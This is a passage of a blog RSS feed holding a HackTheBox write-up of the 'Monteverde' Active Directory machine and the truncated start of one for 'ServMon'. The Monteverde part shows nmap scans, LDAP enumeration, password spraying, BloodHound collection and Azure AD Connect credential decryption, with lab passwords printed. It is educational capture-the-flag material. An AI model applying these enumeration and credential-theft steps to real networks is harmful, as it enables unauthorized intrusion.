&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Nmap scan report for 10.129.228.111
Host is up (0.029s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-16 20:44:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2026-04-16T20:44:45
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.13 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:45 CEST
Nmap scan report for 10.129.228.111
Host is up (0.029s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49693/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 114.87 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:47 CEST
Nmap scan report for MEGABANK.LOCAL (10.129.228.111)
Host is up (0.031s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap

Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-2f4b730e9b0b0548120d34a6c30a7b2d &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-2f4b730e9b0b0548120d34a6c30a7b2d &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-2f4b730e9b0b0548120d34a6c30a7b2d details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-2f4b730e9b0b0548120d34a6c30a7b2d details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-2f4b730e9b0b0548120d34a6c30a7b2d");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


nmap also shows the domain name - MEGABANK.LOCAL. I added it into my &lt;code&gt;/etc/hosts&lt;/code&gt; file.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Quick checks
 &lt;div id="quick-checks" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I checked smb for null session and it connects but fail - netexec shows that it throws an &amp;ldquo;access denied&amp;rdquo; error. I tried a rid brute attack and guest&amp;rsquo;s account seems to be disabled.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;dig&lt;/code&gt; reading the &lt;code&gt;SOA&lt;/code&gt; records I found out that the domain controller&amp;rsquo;s domain is &amp;ldquo;monteverde.MEGABANK.LOCAL&amp;rdquo; - I also added it into my file.&lt;/p&gt;

&lt;h3 class="relative group"&gt;ldapsearch
 &lt;div id="ldapsearch" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Luckily anonymous ldapsearch works so with the &lt;code&gt;ldapsearch -x -H ldap://10.129.228.111 -b &amp;quot;DC=MEGABANK,DC=LOCAL&amp;quot;&lt;/code&gt; command I was able to dump a ton of data. I scoped it in with &lt;code&gt;ldapsearch -x -H ldap://10.129.228.111 -b &amp;quot;DC=MEGABANK,DC=LOCAL&amp;quot; &amp;quot;(objectClass=user)&amp;quot; sAMAccountName cn mail&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Users:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common names:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AAD_987d7f2f57d2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mike Hope
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SABatchJobs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-ata
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-bexec
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-netapp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Dimitris Galanos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ray O&amp;#39;Leary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sally Morgan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAM names:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AAD_987d7f2f57d2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mhope
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SABatchJobs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-ata
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-bexec
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-netapp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dgalanos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;roleary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smorgan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I made a wordlist with those sam names and ran it against kerberos with impacket tools. Firstly I want to check for any as-rep roastable users as this doesn&amp;rsquo;t require valid credentials.
To check for it I ran &lt;code&gt;GetNPUsers.py MEGABANK.LOCAL/ -usersfile users.txt -no-pass&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User AAD_987d7f2f57d2 doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User mhope doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User SABatchJobs doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User svc-ata doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User svc-bexec doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User svc-netapp doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User dgalanos doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User roleary doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] User smorgan doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Sadly all users require pre authentication meaning they are not vulnerable.&lt;/p&gt;
&lt;p&gt;I will now try to bruteforce some common passwords against my user list with &lt;code&gt;netexec smb 10.129.228.111 -u users.txt -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I had it running in the background for a while but it failed and timed out. I suspect that if it was the meant pathway it would fine the password much quicker.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I went back on my steps looking for anything I might&amp;rsquo;ve missed and I again started to bruteforce. This time I created a custom list having data of users, their username variants and the domain name and I got one hit - &lt;code&gt;SABatchJobs:SABatchJobs&lt;/code&gt;. I checked those credentials with netexec and they work with smb, wmi and ldap. I ran &lt;code&gt;netexec smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares&lt;/code&gt; to see what I can access now.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Enumerated shares
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;----- ----------- ------
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ Remote Admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azure_uploads READ 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ Default share
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;E$ Default share
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NETLOGON READ Logon server share 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SYSVOL READ Logon server share 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;users$ READ &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There are some custom shares which are interesting. I reviewed all that I could read and I only found &amp;ldquo;azure.xml&amp;rdquo; in the users$ share.
From what I gathered this is a serialized Azure AD credential object and it stores a password for something, I assume some service, let&amp;rsquo;s find out - 4n0therD4y@n0th3r$.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;netexec smb 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$&lt;/code&gt; I found it belongs to mhope. I got smb, winrm, ldap and wmi access.&lt;/p&gt;
&lt;p&gt;I checked the smb access and there was nothing new that SABatchJobs didn&amp;rsquo;t see. I looked into the account with &lt;code&gt;evil-winrm&lt;/code&gt; and found the user&amp;rsquo;s flag on the Desktop. I then looked around and found an .Azure folder which seems interesting but before I check it out more in depth I will run bloodhound to gather as much data about the AD as I can.
&lt;code&gt;bloodhound-python -u mhope -p '4n0therD4y@n0th3r$' -d MEGABANK.LOCAL -dc monteverde.MEGABANK.LOCAL -ns 10.129.228.111 -c all; rusthound-ce -d MEGABANK.LOCAL -u mhope -p '4n0therD4y@n0th3r$' --zip -c All&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With it I didn&amp;rsquo;t find much, however I noticed that mhope is a part of a &amp;ldquo;AZURE &lt;a href="mailto:ADMINS@MEGABANK.LOCAL" &gt;ADMINS@MEGABANK.LOCAL&lt;/a&gt;&amp;rdquo; group which seems pretty out of place. And it&amp;rsquo;s also kinda weird because it doesn&amp;rsquo;t seem to have any interesting permissions.&lt;/p&gt;
&lt;p&gt;In .Azure folder I found Azure related files. These files seem to be used by Azure to store cached sessions and tokens, so users can stay signed in without re-entering credentials.&lt;/p&gt;
&lt;p&gt;I gathered some basic data about the user of this session:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;User&amp;#34;: { 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;Name&amp;#34;: &amp;#34;John Clark&amp;#34;, 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;UPN&amp;#34;: &amp;#34;john@a67632354763outlook.onmicrosoft.com&amp;#34;, 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;IP&amp;#34;: &amp;#34;46.4.223.173&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From what I gathered this seems to be kinda like opening old tmux sessions. I can use &lt;code&gt;Get-AzContext&lt;/code&gt; and see that there is some session as the John user.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m not super familiar with actually testing Azure. Because of that I stepped back and read about it. Here are some good reads:
&lt;a href="https://adamtheautomator.com/powershell-azure-authentication/" target="_blank" rel="noreferrer"&gt;adamtheautomator.com&lt;/a&gt;
&lt;a href="https://github.com/andreipintica/Azure-PowerShell-CheatSheet" target="_blank" rel="noreferrer"&gt;Github - andreipintica&lt;/a&gt;
&lt;a href="https://labs.reversec.com/posts/2025/10/entra-connect-exploitation-in-2025-an-overview" target="_blank" rel="noreferrer"&gt;labs.reversec.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I looked for ways to exploit azure, some of them mentioned the use of mimikatz but I wasn&amp;rsquo;t able to lunch it on the target host. I tried to use &lt;code&gt;Set-ExecutionPolicy Bypass -Scope Process&lt;/code&gt; but it didn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;Found &lt;a href="https://notes.qazeer.io/active-directory/exploitation-azure_ad_connect#password-hash-synchronization-exploit" target="_blank" rel="noreferrer"&gt;this great read&lt;/a&gt; or possible exploits of Azure AD Connect. I considered Azure AD Connect because of the weird &amp;ldquo;AAD_987d7f2f57d2&amp;rdquo; account and tried to understand what is it related to.
Tried &lt;a href="https://github.com/dirkjanm/adconnectdump" target="_blank" rel="noreferrer"&gt;adconnectdump&lt;/a&gt; but it didn&amp;rsquo;t work. Likely because lack of access of mhope to RPC.
Tried &lt;a href="https://github.com/VbScrub/AdSyncDecrypt" target="_blank" rel="noreferrer"&gt;AdSyncDecrypt&lt;/a&gt;. At first &lt;code&gt;*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin&amp;gt; C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe&lt;/code&gt; didn&amp;rsquo;t work but &lt;code&gt;*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin&amp;gt; C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe -FullSQL&lt;/code&gt; did - I guess AD Connect just used the full db here. For it all to work I just had to follow instructions from the git repo so I recommend checking it out.&lt;/p&gt;
&lt;p&gt;With this, I now have decrypted admin credentials:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DECRYPTED CREDENTIALS:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: d0m@in4dminyeah!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I blindly tried them out with evil-winrm and they worked. I found a root flag on the Desktop.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it&amp;rsquo;s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren&amp;rsquo;t many boxes that touch Azure so it was really interesting to explore it.&lt;/p&gt;
&lt;p&gt;For me personal lessons learned: I need to keep practicing not splitting my attention on different possible vectors and try to feel and have an instinct what could be the expected path of attack - KISS.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/monteverde/featured.png"/></item><item><title>ServMon</title><link>https://emilpawlak.codeberg.page/posts/htb/servmon/</link><pubDate>16.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/servmon/</guid><description>Servmon is a relatively simple machine. There are two public exploits that can be used to finish it and a Metasploit script for even less hustle. The level of complexity highly depends on your approach. Overall a good machine to try out.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I start with a nmap scan - &lt;code&gt;sudo nmap -sC -sV -Pn -O ; sleep 5; sudo nmap -p- -Pn; sleep 5; sudo nmap -sU -Pn &lt;/code&gt;





&lt;div
 id="accordion-1c4a36a7fcdf18f2eab08f1f48d62297"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Nmap scan report for 10.129.227.77
Host is up (0.029s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst: 
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 07:35PM &amp;lt;DIR&amp;gt; Users
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
| 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
| 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings: 
| GetRequest, HTTPOptions, RTSPRequest: 
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo: 
| &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;
| &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;
| &amp;lt;head&amp;gt;
| &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
| &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
| window.location.href = &amp;quot;Pages/login.htm&amp;quot;;
| &amp;lt;/script&amp;gt;
| &amp;lt;/head&amp;gt;
| &amp;lt;body&amp;gt;
| &amp;lt;/body&amp;gt;
| &amp;lt;/html&amp;gt;
| NULL: 
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
| fingerprint-strings: 
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest: 
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| workers
|_ jobs
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.95%I=7%D=4/14%Time=69DE257A%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,&amp;quot;HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n&amp;quot;)%r(GetRequest,1B4,&amp;quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf&amp;lt;!DOCTYPE\x20html\x20PUBLIC\x20\&amp;quot;-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\&amp;quot;\x20\&amp;quot;http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\&amp;quot;&amp;gt;\r\n\r\n&amp;lt;html\x20xmlns=\&amp;quot;http://www\.w3\.
SF:org/1999/xhtml\&amp;quot;&amp;gt;\r\n&amp;lt;head&amp;gt;\r\n\x20\x20\x20\x20&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;\r\n\x20\
SF:x20\x20\x20&amp;lt;script\x20type=\&amp;quot;text/javascript\&amp;quot;&amp;gt;\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\&amp;quot;Pages/login\.htm\&amp;quot;;\r\n\x2
SF:0\x20\x20\x20&amp;lt;/script&amp;gt;\r\n&amp;lt;/head&amp;gt;\r\n&amp;lt;body&amp;gt;\r\n&amp;lt;/body&amp;gt;\r\n&amp;lt;/html&amp;gt;\r\n&amp;quot;)
SF:%r(HTTPOptions,1B4,&amp;quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf&amp;lt;!DOCTYPE\x20html\x20PUBLIC\x20\&amp;quot;-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\&amp;quot;\x20\&amp;quot;http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\&amp;quot;&amp;gt;\r\n\r\n&amp;lt;html\x20xmlns=\&amp;quot;http://www\.w3\.org/1
SF:999/xhtml\&amp;quot;&amp;gt;\r\n&amp;lt;head&amp;gt;\r\n\x20\x20\x20\x20&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;\r\n\x20\x20\x
SF:20\x20&amp;lt;script\x20type=\&amp;quot;text/javascript\&amp;quot;&amp;gt;\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\&amp;quot;Pages/login\.htm\&amp;quot;;\r\n\x20\x20
SF:\x20\x20&amp;lt;/script&amp;gt;\r\n&amp;lt;/head&amp;gt;\r\n&amp;lt;body&amp;gt;\r\n&amp;lt;/body&amp;gt;\r\n&amp;lt;/html&amp;gt;\r\n&amp;quot;)%r(RT
SF:SPRequest,1B4,&amp;quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf&amp;lt;!DOCTYPE\x20html\x20PUBLIC\x20\&amp;quot;-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\&amp;quot;\x20\&amp;quot;http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\&amp;quot;&amp;gt;\r\n\r\n&amp;lt;html\x20xmlns=\&amp;quot;http://www\.w3\.org/1999/x
SF:html\&amp;quot;&amp;gt;\r\n&amp;lt;head&amp;gt;\r\n\x20\x20\x20\x20&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;\r\n\x20\x20\x20\x2
SF:0&amp;lt;script\x20type=\&amp;quot;text/javascript\&amp;quot;&amp;gt;\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\&amp;quot;Pages/login\.htm\&amp;quot;;\r\n\x20\x20\x20\
